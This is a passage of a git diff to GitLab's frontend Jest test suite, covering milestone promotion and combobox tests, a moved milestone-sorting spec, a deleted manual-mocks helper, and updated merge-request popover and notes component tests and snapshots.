+ const promoteButton = () => document.querySelector('.js-promote-project-milestone-button');
+
+ beforeEach(() => {
+ setHTMLFixture(`<button
+ class="js-promote-project-milestone-button"
+ data-group-name="${milestoneMockData.groupName}"
+ data-milestone-title="${milestoneMockData.milestoneTitle}"
+ data-url="${milestoneMockData.url}">
+ Promote
+ </button>`);
+ wrapper = shallowMount(PromoteMilestoneModal);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('Modal opener button', () => {
+ it('button gets disabled when the modal opens', () => {
+ expect(promoteButton().disabled).toBe(false);
+
+ promoteButton().click();
+
+ expect(promoteButton().disabled).toBe(true);
+ });
+
+ it('button gets enabled when the modal closes', () => {
+ promoteButton().click();
+
+ wrapper.findComponent(GlModal).vm.$emit('hide');
+
+ expect(promoteButton().disabled).toBe(false);
+ });
+ });
+
+ describe('Modal title and description', () => {
+ beforeEach(() => {
+ promoteButton().click();
+ });
+
+ it('contains the proper description', () => {
+ expect(wrapper.vm.text).toContain(
+ `Promoting ${milestoneMockData.milestoneTitle} will make it available for all projects inside ${milestoneMockData.groupName}.`,
+ );
+ });
+
+ it('contains the correct title', () => {
+ expect(wrapper.vm.title).toBe('Promote v1.0 to group milestone?');
+ });
+ });
+
+ describe('When requesting a milestone promotion', () => {
+ beforeEach(() => {
+ promoteButton().click();
+ });
+
+ it('redirects when a milestone is promoted', async () => {
+ const responseURL = `${TEST_HOST}/dummy/endpoint`;
+ jest.spyOn(axios, 'post').mockImplementation((url) => {
+ expect(url).toBe(milestoneMockData.url);
+ return Promise.resolve({
+ data: {
+ url: responseURL,
+ },
+ });
+ });
+
+ wrapper.findComponent(GlModal).vm.$emit('primary');
+ await waitForPromises();
+
+ expect(urlUtils.visitUrl).toHaveBeenCalledWith(responseURL);
+ });
+
+ it('displays an error if promoting a milestone failed', async () => {
+ const dummyError = new Error('promoting milestone failed');
+ dummyError.response = { status: 500 };
+ jest.spyOn(axios, 'post').mockImplementation((url) => {
+ expect(url).toBe(milestoneMockData.url);
+ return Promise.reject(dummyError);
+ });
+
+ wrapper.findComponent(GlModal).vm.$emit('primary');
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({ message: dummyError });
+ });
+ });
+});
diff --git a/spec/frontend/milestones/milestone_combobox_spec.js b/spec/frontend/milestones/milestone_combobox_spec.js
deleted file mode 100644
index 4d1a0a0a440..00000000000
--- a/spec/frontend/milestones/milestone_combobox_spec.js
+++ /dev/null
@@ -1,512 +0,0 @@
-import { GlLoadingIcon, GlSearchBoxByType, GlDropdownItem } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import axios from 'axios';
-import MockAdapter from 'axios-mock-adapter';
-import Vue, { nextTick } from 'vue';
-import Vuex from 'vuex';
-import { ENTER_KEY } from '~/lib/utils/keys';
-import MilestoneCombobox from '~/milestones/components/milestone_combobox.vue';
-import createStore from '~/milestones/stores/';
-import { projectMilestones, groupMilestones } from './mock_data';
-
-const extraLinks = [
- { text: 'Create new', url: 'http://127.0.0.1:3000/h5bp/html5-boilerplate/-/milestones/new' },
- { text: 'Manage milestones', url: '/h5bp/html5-boilerplate/-/milestones' },
-];
-
-Vue.use(Vuex);
-
-describe('Milestone combobox component', () => {
- const projectId = '8';
- const groupId = '24';
- const groupMilestonesAvailable = true;
- const X_TOTAL_HEADER = 'x-total';
-
- let wrapper;
- let projectMilestonesApiCallSpy;
- let groupMilestonesApiCallSpy;
- let searchApiCallSpy;
-
- const createComponent = (props = {}, attrs = {}) => {
- const propsData = {
- projectId,
- groupId,
- groupMilestonesAvailable,
- extraLinks,
- value: [],
- ...props,
- };
-
- wrapper = mount(MilestoneCombobox, {
- propsData,
- attrs,
- listeners: {
- // simulate a parent component v-model binding
- input: (selectedMilestone) => {
- // ugly hack because setProps plays bad with immediate watchers
- // see https://github.com/vuejs/vue-test-utils/issues/1140 and
- // https://github.com/vuejs/vue-test-utils/pull/1752
- propsData.value = selectedMilestone;
- wrapper.setProps({ value: selectedMilestone });
- },
- },
- stubs: {
- GlSearchBoxByType: true,
- },
- store: createStore(),
- });
- };
-
- beforeEach(() => {
- const mock = new MockAdapter(axios);
- gon.api_version = 'v4';
-
- projectMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, projectMilestones, { [X_TOTAL_HEADER]: '6' }]);
-
- groupMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, groupMilestones, { [X_TOTAL_HEADER]: '6' }]);
-
- searchApiCallSpy = jest
- .fn()
- .mockReturnValue([200, projectMilestones, { [X_TOTAL_HEADER]: '6' }]);
-
- mock
- .onGet(`/api/v4/projects/${projectId}/milestones`)
- .reply((config) => projectMilestonesApiCallSpy(config));
-
- mock
- .onGet(`/api/v4/groups/${groupId}/milestones`)
- .reply((config) => groupMilestonesApiCallSpy(config));
-
- mock.onGet(`/api/v4/projects/${projectId}/search`).reply((config) => searchApiCallSpy(config));
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- //
- // Finders
- //
- const findButtonContent = () => wrapper.find('[data-testid="milestone-combobox-button-content"]');
-
- const findNoResults = () => wrapper.find('[data-testid="milestone-combobox-no-results"]');
-
- const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
-
- const findSearchBox = () => wrapper.find(GlSearchBoxByType);
-
- const findProjectMilestonesSection = () =>
- wrapper.find('[data-testid="project-milestones-section"]');
- const findProjectMilestonesDropdownItems = () =>
- findProjectMilestonesSection().findAll(GlDropdownItem);
- const findFirstProjectMilestonesDropdownItem = () => findProjectMilestonesDropdownItems().at(0);
-
- const findGroupMilestonesSection = () => wrapper.find('[data-testid="group-milestones-section"]');
- const findGroupMilestonesDropdownItems = () =>
- findGroupMilestonesSection().findAll(GlDropdownItem);
- const findFirstGroupMilestonesDropdownItem = () => findGroupMilestonesDropdownItems().at(0);
-
- //
- // Expecters
- //
- const projectMilestoneSectionContainsErrorMessage = () => {
- const projectMilestoneSection = findProjectMilestonesSection();
-
- return projectMilestoneSection
- .text()
- .includes('An error occurred while searching for milestones');
- };
-
- const groupMilestoneSectionContainsErrorMessage = () => {
- const groupMilestoneSection = findGroupMilestonesSection();
-
- return groupMilestoneSection
- .text()
- .includes('An error occurred while searching for milestones');
- };
-
- //
- // Convenience methods
- //
- const updateQuery = (newQuery) => {
- findSearchBox().vm.$emit('input', newQuery);
- };
-
- const selectFirstProjectMilestone = () => {
- findFirstProjectMilestonesDropdownItem().vm.$emit('click');
- };
-
- const selectFirstGroupMilestone = () => {
- findFirstGroupMilestonesDropdownItem().vm.$emit('click');
- };
-
- const waitForRequests = async ({ andClearMocks } = { andClearMocks: false }) => {
- await axios.waitForAll();
- if (andClearMocks) {
- projectMilestonesApiCallSpy.mockClear();
- groupMilestonesApiCallSpy.mockClear();
- }
- };
-
- describe('initialization behavior', () => {
- beforeEach(createComponent);
-
- it('initializes the dropdown with milestones when mounted', () => {
- return waitForRequests().then(() => {
- expect(projectMilestonesApiCallSpy).toHaveBeenCalledTimes(1);
- expect(groupMilestonesApiCallSpy).toHaveBeenCalledTimes(1);
- });
- });
-
- it('shows a spinner while network requests are in progress', () => {
- expect(findLoadingIcon().exists()).toBe(true);
-
- return waitForRequests().then(() => {
- expect(findLoadingIcon().exists()).toBe(false);
- });
- });
-
- it('shows additional links', () => {
- const links = wrapper.findAll('[data-testid="milestone-combobox-extra-links"]');
- links.wrappers.forEach((item, idx) => {
- expect(item.text()).toBe(extraLinks[idx].text);
- expect(item.attributes('href')).toBe(extraLinks[idx].url);
- });
- });
- });
-
- describe('post-initialization behavior', () => {
- describe('when the parent component provides an `id` binding', () => {
- const id = '8';
-
- beforeEach(() => {
- createComponent({}, { id });
-
- return waitForRequests();
- });
-
- it('adds the provided ID to the GlDropdown instance', () => {
- expect(wrapper.attributes().id).toBe(id);
- });
- });
-
- describe('when milestones are pre-selected', () => {
- beforeEach(() => {
- createComponent({ value: projectMilestones });
-
- return waitForRequests();
- });
-
- it('renders the pre-selected milestones', () => {
- expect(findButtonContent().text()).toBe('v0.1 + 5 more');
- });
- });
-
- describe('when the search query is updated', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests({ andClearMocks: true });
- });
-
- it('requeries the search when the search query is updated', () => {
- updateQuery('v1.2.3');
-
- return waitForRequests().then(() => {
- expect(searchApiCallSpy).toHaveBeenCalledTimes(1);
- });
- });
- });
-
- describe('when the Enter is pressed', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests({ andClearMocks: true });
- });
-
- it('requeries the search when Enter is pressed', () => {
- findSearchBox().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
-
- return waitForRequests().then(() => {
- expect(searchApiCallSpy).toHaveBeenCalledTimes(1);
- });
- });
- });
-
- describe('when no results are found', () => {
- beforeEach(() => {
- projectMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
-
- groupMilestonesApiCallSpy = jest.fn().mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
-
- createComponent();
-
- return waitForRequests();
- });
-
- describe('when the search query is empty', () => {
- it('renders a "no results" message', () => {
- expect(findNoResults().text()).toBe('No matching results');
- });
- });
- });
-
- describe('project milestones', () => {
- describe('when the project milestones search returns results', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests();
- });
-
- it('renders the project milestones section in the dropdown', () => {
- expect(findProjectMilestonesSection().exists()).toBe(true);
- });
-
- it('renders the "Project milestones" heading with a total number indicator', () => {
- expect(
- findProjectMilestonesSection()
- .find('[data-testid="milestone-results-section-header"]')
- .text(),
- ).toBe('Project milestones 6');
- });
-
- it("does not render an error message in the project milestone section's body", () => {
- expect(projectMilestoneSectionContainsErrorMessage()).toBe(false);
- });
-
- it('renders each project milestones as a selectable item', () => {
- const dropdownItems = findProjectMilestonesDropdownItems();
-
- projectMilestones.forEach((milestone, i) => {
- expect(dropdownItems.at(i).text()).toBe(milestone.title);
- });
- });
- });
-
- describe('when the project milestones search returns no results', () => {
- beforeEach(() => {
- projectMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
-
- createComponent();
-
- return waitForRequests();
- });
-
- it('does not render the project milestones section in the dropdown', () => {
- expect(findProjectMilestonesSection().exists()).toBe(false);
- });
- });
-
- describe('when the project milestones search returns an error', () => {
- beforeEach(() => {
- projectMilestonesApiCallSpy = jest.fn().mockReturnValue([500]);
- searchApiCallSpy = jest.fn().mockReturnValue([500]);
-
- createComponent({ value: [] });
-
- return waitForRequests();
- });
-
- it('renders the project milestones section in the dropdown', () => {
- expect(findProjectMilestonesSection().exists()).toBe(true);
- });
-
- it("renders an error message in the project milestones section's body", () => {
- expect(projectMilestoneSectionContainsErrorMessage()).toBe(true);
- });
- });
-
- describe('selection', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests();
- });
-
- it('renders a checkmark by the selected item', async () => {
- selectFirstProjectMilestone();
-
- await nextTick();
-
- expect(
- findFirstProjectMilestonesDropdownItem().find('span').classes('selected-item'),
- ).toBe(true);
-
- selectFirstProjectMilestone();
-
- await nextTick();
-
- expect(
- findFirstProjectMilestonesDropdownItem().find('span').classes('selected-item'),
- ).toBe(false);
- });
-
- describe('when a project milestones is selected', () => {
- beforeEach(() => {
- createComponent();
- projectMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, [{ title: 'v1.0' }], { [X_TOTAL_HEADER]: '1' }]);
-
- return waitForRequests();
- });
-
- it("displays the project milestones name in the dropdown's button", async () => {
- selectFirstProjectMilestone();
- await nextTick();
-
- expect(findButtonContent().text()).toBe('v1.0');
-
- selectFirstProjectMilestone();
- await nextTick();
-
- expect(findButtonContent().text()).toBe('No milestone');
- });
-
- it('updates the v-model binding with the project milestone title', async () => {
- selectFirstProjectMilestone();
- await nextTick();
-
- expect(wrapper.emitted().input[0][0]).toStrictEqual(['v1.0']);
- });
- });
- });
- });
-
- describe('group milestones', () => {
- describe('when the group milestones search returns results', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests();
- });
-
- it('renders the group milestones section in the dropdown', () => {
- expect(findGroupMilestonesSection().exists()).toBe(true);
- });
-
- it('renders the "Group milestones" heading with a total number indicator', () => {
- expect(
- findGroupMilestonesSection()
- .find('[data-testid="milestone-results-section-header"]')
- .text(),
- ).toBe('Group milestones 6');
- });
-
- it("does not render an error message in the group milestone section's body", () => {
- expect(groupMilestoneSectionContainsErrorMessage()).toBe(false);
- });
-
- it('renders each group milestones as a selectable item', () => {
- const dropdownItems = findGroupMilestonesDropdownItems();
-
- groupMilestones.forEach((milestone, i) => {
- expect(dropdownItems.at(i).text()).toBe(milestone.title);
- });
- });
- });
-
- describe('when the group milestones search returns no results', () => {
- beforeEach(() => {
- groupMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
-
- createComponent();
-
- return waitForRequests();
- });
-
- it('does not render the group milestones section in the dropdown', () => {
- expect(findGroupMilestonesSection().exists()).toBe(false);
- });
- });
-
- describe('when the group milestones search returns an error', () => {
- beforeEach(() => {
- groupMilestonesApiCallSpy = jest.fn().mockReturnValue([500]);
- searchApiCallSpy = jest.fn().mockReturnValue([500]);
-
- createComponent({ value: [] });
-
- return waitForRequests();
- });
-
- it('renders the group milestones section in the dropdown', () => {
- expect(findGroupMilestonesSection().exists()).toBe(true);
- });
-
- it("renders an error message in the group milestones section's body", () => {
- expect(groupMilestoneSectionContainsErrorMessage()).toBe(true);
- });
- });
-
- describe('selection', () => {
- beforeEach(() => {
- createComponent();
-
- return waitForRequests();
- });
-
- it('renders a checkmark by the selected item', async () => {
- selectFirstGroupMilestone();
-
- await nextTick();
-
- expect(findFirstGroupMilestonesDropdownItem().find('span').classes('selected-item')).toBe(
- true,
- );
-
- selectFirstGroupMilestone();
-
- await nextTick();
-
- expect(findFirstGroupMilestonesDropdownItem().find('span').classes('selected-item')).toBe(
- false,
- );
- });
-
- describe('when a group milestones is selected', () => {
- beforeEach(() => {
- createComponent();
- groupMilestonesApiCallSpy = jest
- .fn()
- .mockReturnValue([200, [{ title: 'group-v1.0' }], { [X_TOTAL_HEADER]: '1' }]);
-
- return waitForRequests();
- });
-
- it("displays the group milestones name in the dropdown's button", async () => {
- selectFirstGroupMilestone();
- await nextTick();
-
- expect(findButtonContent().text()).toBe('group-v1.0');
-
- selectFirstGroupMilestone();
- await nextTick();
-
- expect(findButtonContent().text()).toBe('No milestone');
- });
-
- it('updates the v-model binding with the group milestone title', async () => {
- selectFirstGroupMilestone();
- await nextTick();
-
- expect(wrapper.emitted().input[0][0]).toStrictEqual(['group-v1.0']);
- });
- });
- });
- });
- });
-});
diff --git a/spec/frontend/milestones/milestone_utils_spec.js b/spec/frontend/milestones/milestone_utils_spec.js
deleted file mode 100644
index f863f31e5a9..00000000000
--- a/spec/frontend/milestones/milestone_utils_spec.js
+++ /dev/null
@@ -1,47 +0,0 @@
-import { useFakeDate } from 'helpers/fake_date';
-import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
-
-describe('sortMilestonesByDueDate', () => {
- useFakeDate(2021, 6, 22);
- const mockMilestones = [
- {
- id: 2,
- },
- {
- id: 1,
- dueDate: '2021-01-01',
- },
- {
- id: 4,
- dueDate: '2021-02-01',
- expired: true,
- },
- {
- id: 3,
- dueDate: `2021-08-01`,
- },
- ];
-
- describe('sorts milestones', () => {
- it('expired milestones are kept at the bottom of the list', () => {
- const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
-
- expect(sortedMilestones[2].id).toBe(mockMilestones[1].id); // milestone with id `1` is expired
- expect(sortedMilestones[3].id).toBe(mockMilestones[2].id); // milestone with id `4` is expired
- });
-
- it('milestones with closest due date are kept at the top of the list', () => {
- const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
-
- // milestone with id `3` & 2021-08-01 is closest to current date i.e. 2021-07-22
- expect(sortedMilestones[0].id).toBe(mockMilestones[3].id);
- });
-
- it('milestones with no due date are kept between milestones with closest due date and expired milestones', () => {
- const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
-
- // milestone with id `2` has no due date
- expect(sortedMilestones[1].id).toBe(mockMilestones[0].id);
- });
- });
-});
diff --git a/spec/frontend/milestones/utils_spec.js b/spec/frontend/milestones/utils_spec.js
new file mode 100644
index 00000000000..82e31c98398
--- /dev/null
+++ b/spec/frontend/milestones/utils_spec.js
@@ -0,0 +1,47 @@
+import { useFakeDate } from 'helpers/fake_date';
+import { sortMilestonesByDueDate } from '~/milestones/utils';
+
+describe('sortMilestonesByDueDate', () => {
+ useFakeDate(2021, 6, 22);
+ const mockMilestones = [
+ {
+ id: 2,
+ },
+ {
+ id: 1,
+ dueDate: '2021-01-01',
+ },
+ {
+ id: 4,
+ dueDate: '2021-02-01',
+ expired: true,
+ },
+ {
+ id: 3,
+ dueDate: `2021-08-01`,
+ },
+ ];
+
+ describe('sorts milestones', () => {
+ it('expired milestones are kept at the bottom of the list', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ expect(sortedMilestones[2].id).toBe(mockMilestones[1].id); // milestone with id `1` is expired
+ expect(sortedMilestones[3].id).toBe(mockMilestones[2].id); // milestone with id `4` is expired
+ });
+
+ it('milestones with closest due date are kept at the top of the list', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ // milestone with id `3` & 2021-08-01 is closest to current date i.e. 2021-07-22
+ expect(sortedMilestones[0].id).toBe(mockMilestones[3].id);
+ });
+
+ it('milestones with no due date are kept between milestones with closest due date and expired milestones', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ // milestone with id `2` has no due date
+ expect(sortedMilestones[1].id).toBe(mockMilestones[0].id);
+ });
+ });
+});
diff --git a/spec/frontend/mocks/mocks_helper.js b/spec/frontend/mocks/mocks_helper.js
deleted file mode 100644
index 295483cd64c..00000000000
--- a/spec/frontend/mocks/mocks_helper.js
+++ /dev/null
@@ -1,58 +0,0 @@
-/**
- * @module
- *
- * This module implements auto-injected manual mocks that are cleaner than Jest's approach.
- *
- * See https://docs.gitlab.com/ee/development/testing_guide/frontend_testing.html
- */
-
-import fs from 'fs';
-import path from 'path';
-
-import readdir from 'readdir-enhanced';
-
-const MAX_DEPTH = 20;
-const prefixMap = [
- // E.g. the mock ce/foo/bar maps to require path ~/foo/bar
- { mocksRoot: 'ce', requirePrefix: '~' },
- // { mocksRoot: 'ee', requirePrefix: 'ee' }, // We'll deal with EE-specific mocks later
- // { mocksRoot: 'virtual', requirePrefix: '' }, // We'll deal with virtual mocks later
-];
-
-const mockFileFilter = (stats) => stats.isFile() && stats.path.endsWith('.js');
-
-const getMockFiles = (root) => readdir.sync(root, { deep: MAX_DEPTH, filter: mockFileFilter });
-
-// Function that performs setting a mock. This has to be overridden by the unit test, because
-// jest.setMock can't be overwritten across files.
-// Use require() because jest.setMock expects the CommonJS exports object
-const defaultSetMock = (srcPath, mockPath) =>
- jest.mock(srcPath, () => jest.requireActual(mockPath));
-
-export const setupManualMocks = function setupManualMocks(setMock = defaultSetMock) {
- prefixMap.forEach(({ mocksRoot, requirePrefix }) => {
- const mocksRootAbsolute = path.join(__dirname, mocksRoot);
- if (!fs.existsSync(mocksRootAbsolute)) {
- return;
- }
-
- getMockFiles(path.join(__dirname, mocksRoot)).forEach((mockPath) => {
- const mockPathNoExt = mockPath.substring(0, mockPath.length - path.extname(mockPath).length);
- const sourcePath = path.join(requirePrefix, mockPathNoExt);
- const mockPathRelative = `./${path.join(mocksRoot, mockPathNoExt)}`;
-
- try {
- setMock(sourcePath, mockPathRelative);
- } catch (e) {
- if (e.message.includes('Could not locate module')) {
- // The corresponding mocked module doesn't exist. Raise a better error.
- // Eventualy, we may support virtual mocks (mocks whose path doesn't directly correspond
- // to a module, like with the `ee_else_ce` prefix).
- throw new Error(
- `A manual mock was defined for module ${sourcePath}, but the module doesn't exist!`,
- );
- }
- }
- });
- });
-};
diff --git a/spec/frontend/mocks/mocks_helper_spec.js b/spec/frontend/mocks/mocks_helper_spec.js
deleted file mode 100644
index 0abe5c6b949..00000000000
--- a/spec/frontend/mocks/mocks_helper_spec.js
+++ /dev/null
@@ -1,131 +0,0 @@
-/* eslint-disable global-require */
-
-import path from 'path';
-
-import axios from '~/lib/utils/axios_utils';
-
-const absPath = path.join.bind(null, __dirname);
-
-jest.mock('fs');
-jest.mock('readdir-enhanced');
-
-describe('mocks_helper.js', () => {
- let setupManualMocks;
- const setMock = jest.fn().mockName('setMock');
- let fs;
- let readdir;
-
- beforeAll(() => {
- jest.resetModules();
- jest.setMock = jest.fn().mockName('jest.setMock');
- fs = require('fs');
- readdir = require('readdir-enhanced');
-
- // We need to provide setupManualMocks with a mock function that pretends to do the setup of
- // the mock. This is because we can't mock jest.setMock across files.
- setupManualMocks = () => require('./mocks_helper').setupManualMocks(setMock);
- });
-
- afterEach(() => {
- fs.existsSync.mockReset();
- readdir.sync.mockReset();
- setMock.mockReset();
- });
-
- it('enumerates through mock file roots', () => {
- setupManualMocks();
- expect(fs.existsSync).toHaveBeenCalledTimes(1);
- expect(fs.existsSync).toHaveBeenNthCalledWith(1, absPath('ce'));
-
- expect(readdir.sync).toHaveBeenCalledTimes(0);
- });
-
- it("doesn't traverse the directory tree infinitely", () => {
- fs.existsSync.mockReturnValue(true);
- readdir.sync.mockReturnValue([]);
- setupManualMocks();
-
- const readdirSpy = readdir.sync;
- expect(readdirSpy).toHaveBeenCalled();
- readdirSpy.mock.calls.forEach((call) => {
- expect(call[1].deep).toBeLessThan(100);
- });
- });
-
- it('sets up mocks for CE (the ~/ prefix)', () => {
- fs.existsSync.mockImplementation((root) => root.endsWith('ce'));
- readdir.sync.mockReturnValue(['root.js', 'lib/utils/util.js']);
- setupManualMocks();
-
- expect(readdir.sync).toHaveBeenCalledTimes(1);
- expect(readdir.sync.mock.calls[0][0]).toBe(absPath('ce'));
-
- expect(setMock).toHaveBeenCalledTimes(2);
- expect(setMock).toHaveBeenNthCalledWith(1, '~/root', './ce/root');
- expect(setMock).toHaveBeenNthCalledWith(2, '~/lib/utils/util', './ce/lib/utils/util');
- });
-
- it('sets up mocks for all roots', () => {
- const files = {
- [absPath('ce')]: ['root', 'lib/utils/util'],
- [absPath('node')]: ['jquery', '@babel/core'],
- };
-
- fs.existsSync.mockReturnValue(true);
- readdir.sync.mockImplementation((root) => files[root]);
- setupManualMocks();
-
- expect(readdir.sync).toHaveBeenCalledTimes(1);
- expect(readdir.sync.mock.calls[0][0]).toBe(absPath('ce'));
-
- expect(setMock).toHaveBeenCalledTimes(2);
- expect(setMock).toHaveBeenNthCalledWith(1, '~/root', './ce/root');
- expect(setMock).toHaveBeenNthCalledWith(2, '~/lib/utils/util', './ce/lib/utils/util');
- });
-
- it('fails when given a virtual mock', () => {
- fs.existsSync.mockImplementation((p) => p.endsWith('ce'));
- readdir.sync.mockReturnValue(['virtual', 'shouldntBeImported']);
- setMock.mockImplementation(() => {
- throw new Error('Could not locate module');
- });
-
- expect(setupManualMocks).toThrow(
- new Error("A manual mock was defined for module ~/virtual, but the module doesn't exist!"),
- );
-
- expect(readdir.sync).toHaveBeenCalledTimes(1);
- expect(readdir.sync.mock.calls[0][0]).toBe(absPath('ce'));
- });
-
- describe('auto-injection', () => {
- it('handles ambiguous paths', () => {
- jest.isolateModules(() => {
- const axios2 = require('../../../app/assets/javascripts/lib/utils/axios_utils').default;
- expect(axios2.isMock).toBe(true);
- });
- });
-
- it('survives jest.isolateModules()', (done) => {
- jest.isolateModules(() => {
- const axios2 = require('~/lib/utils/axios_utils').default;
- expect(axios2.isMock).toBe(true);
- done();
- });
- });
-
- it('can be unmocked and remocked', () => {
- jest.dontMock('~/lib/utils/axios_utils');
- jest.resetModules();
- const axios2 = require('~/lib/utils/axios_utils').default;
- expect(axios2).not.toBe(axios);
- expect(axios2.isMock).toBeUndefined();
-
- jest.doMock('~/lib/utils/axios_utils');
- jest.resetModules();
- const axios3 = require('~/lib/utils/axios_utils').default;
- expect(axios3).not.toBe(axios2);
- expect(axios3.isMock).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/mr_popover/__snapshots__/mr_popover_spec.js.snap b/spec/frontend/mr_popover/__snapshots__/mr_popover_spec.js.snap
index 3229492506a..5d84b4660c9 100644
--- a/spec/frontend/mr_popover/__snapshots__/mr_popover_spec.js.snap
+++ b/spec/frontend/mr_popover/__snapshots__/mr_popover_spec.js.snap
@@ -26,7 +26,7 @@ exports[`MR Popover loaded state matches the snapshot 1`] = `
</div>
<span
- class="text-secondary"
+ class="gl-text-secondary"
>
Opened
<time>
@@ -45,11 +45,11 @@ exports[`MR Popover loaded state matches the snapshot 1`] = `
<h5
class="my-2"
>
- MR Title
+ Updated Title
</h5>
<div
- class="text-secondary"
+ class="gl-text-secondary"
>
foo/bar!1
@@ -77,14 +77,10 @@ exports[`MR Popover shows skeleton-loader while apollo is loading 1`] = `
/>
</div>
- <h5
- class="my-2"
- >
- MR Title
- </h5>
+ <!---->
<div
- class="text-secondary"
+ class="gl-text-secondary"
>
foo/bar!1
diff --git a/spec/frontend/mr_popover/mr_popover_spec.js b/spec/frontend/mr_popover/mr_popover_spec.js
index 094d1a6472c..0c6e4211b10 100644
--- a/spec/frontend/mr_popover/mr_popover_spec.js
+++ b/spec/frontend/mr_popover/mr_popover_spec.js
@@ -15,14 +15,18 @@ describe('MR Popover', () => {
},
mocks: {
$apollo: {
- loading: false,
+ queries: {
+ mergeRequest: {
+ loading: false,
+ },
+ },
},
},
});
});
it('shows skeleton-loader while apollo is loading', () => {
- wrapper.vm.$apollo.loading = true;
+ wrapper.vm.$apollo.queries.mergeRequest.loading = true;
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.element).toMatchSnapshot();
@@ -33,6 +37,7 @@ describe('MR Popover', () => {
it('matches the snapshot', () => {
wrapper.setData({
mergeRequest: {
+ title: 'Updated Title',
state: 'opened',
createdAt: new Date(),
headPipeline: {
@@ -64,5 +69,11 @@ describe('MR Popover', () => {
expect(wrapper.find(CiIcon).exists()).toBe(false);
});
});
+
+ it('falls back to cached MR title when request fails', () => {
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.text()).toContain('MR Title');
+ });
+ });
});
});
diff --git a/spec/frontend/notes/components/__snapshots__/notes_app_spec.js.snap b/spec/frontend/notes/components/__snapshots__/notes_app_spec.js.snap
new file mode 100644
index 00000000000..5f4b3e04a79
--- /dev/null
+++ b/spec/frontend/notes/components/__snapshots__/notes_app_spec.js.snap
@@ -0,0 +1,17 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`note_app when sort direction is asc shows skeleton notes after the loaded discussions 1`] = `
+"<ul id=\\"notes-list\\" class=\\"notes main-notes-list timeline\\">
+ <noteable-discussion-stub discussion=\\"[object Object]\\" renderdifffile=\\"true\\" helppagepath=\\"\\" isoverviewtab=\\"true\\"></noteable-discussion-stub>
+ <skeleton-loading-container-stub></skeleton-loading-container-stub>
+ <discussion-filter-note-stub style=\\"display: none;\\"></discussion-filter-note-stub>
+</ul>"
+`;
+
+exports[`note_app when sort direction is desc shows skeleton notes before the loaded discussions 1`] = `
+"<ul id=\\"notes-list\\" class=\\"notes main-notes-list timeline\\">
+ <skeleton-loading-container-stub></skeleton-loading-container-stub>
+ <noteable-discussion-stub discussion=\\"[object Object]\\" renderdifffile=\\"true\\" helppagepath=\\"\\" isoverviewtab=\\"true\\"></noteable-discussion-stub>
+ <discussion-filter-note-stub style=\\"display: none;\\"></discussion-filter-note-stub>
+</ul>"
+`;
diff --git a/spec/frontend/notes/components/discussion_filter_spec.js b/spec/frontend/notes/components/discussion_filter_spec.js
index 6f62b8ba528..17998dfc9d5 100644
--- a/spec/frontend/notes/components/discussion_filter_spec.js
+++ b/spec/frontend/notes/components/discussion_filter_spec.js
@@ -1,3 +1,4 @@
+import { GlDropdown } from '@gitlab/ui';
import { createLocalVue, mount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import Vuex from 'vuex';
@@ -88,6 +89,12 @@ describe('DiscussionFilter component', () => {
);
});
+ it('disables the dropdown when discussions are loading', () => {
+ store.state.isLoading = true;
+
+ expect(wrapper.findComponent(GlDropdown).props('disabled')).toBe(true);
+ });
+
it('updates to the selected item', () => {
const filterItem = findFilter(DISCUSSION_FILTER_TYPES.ALL);
diff --git a/spec/frontend/notes/components/discussion_notes_spec.js b/spec/frontend/notes/components/discussion_notes_spec.js
index ff840a55535..59ac75f00e6 100644
--- a/spec/frontend/notes/components/discussion_notes_spec.js
+++ b/spec/frontend/notes/components/discussion_notes_spec.js
@@ -1,7 +1,6 @@
import { getByRole } from '@testing-library/dom';
import { shallowMount, mount } from '@vue/test-utils';
import '~/behaviors/markdown/render_gfm';
-import { discussionIntersectionObserverHandlerFactory } from '~/diffs/utils/discussions';
import DiscussionNotes from '~/notes/components/discussion_notes.vue';
import NoteableNote from '~/notes/components/noteable_note.vue';
import { SYSTEM_NOTE } from '~/notes/constants';
@@ -27,9 +26,6 @@ describe('DiscussionNotes', () => {
const createComponent = (props, mountingMethod = shallowMount) => {
wrapper = mountingMethod(DiscussionNotes, {
store,
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData: {
discussion: discussionMock,
isExpanded: false,
diff --git a/spec/frontend/notes/components/noteable_discussion_spec.js b/spec/frontend/notes/components/noteable_discussion_spec.js
index 6aab60edc4e..727ef02dcbb 100644
--- a/spec/frontend/notes/components/noteable_discussion_spec.js
+++ b/spec/frontend/notes/components/noteable_discussion_spec.js
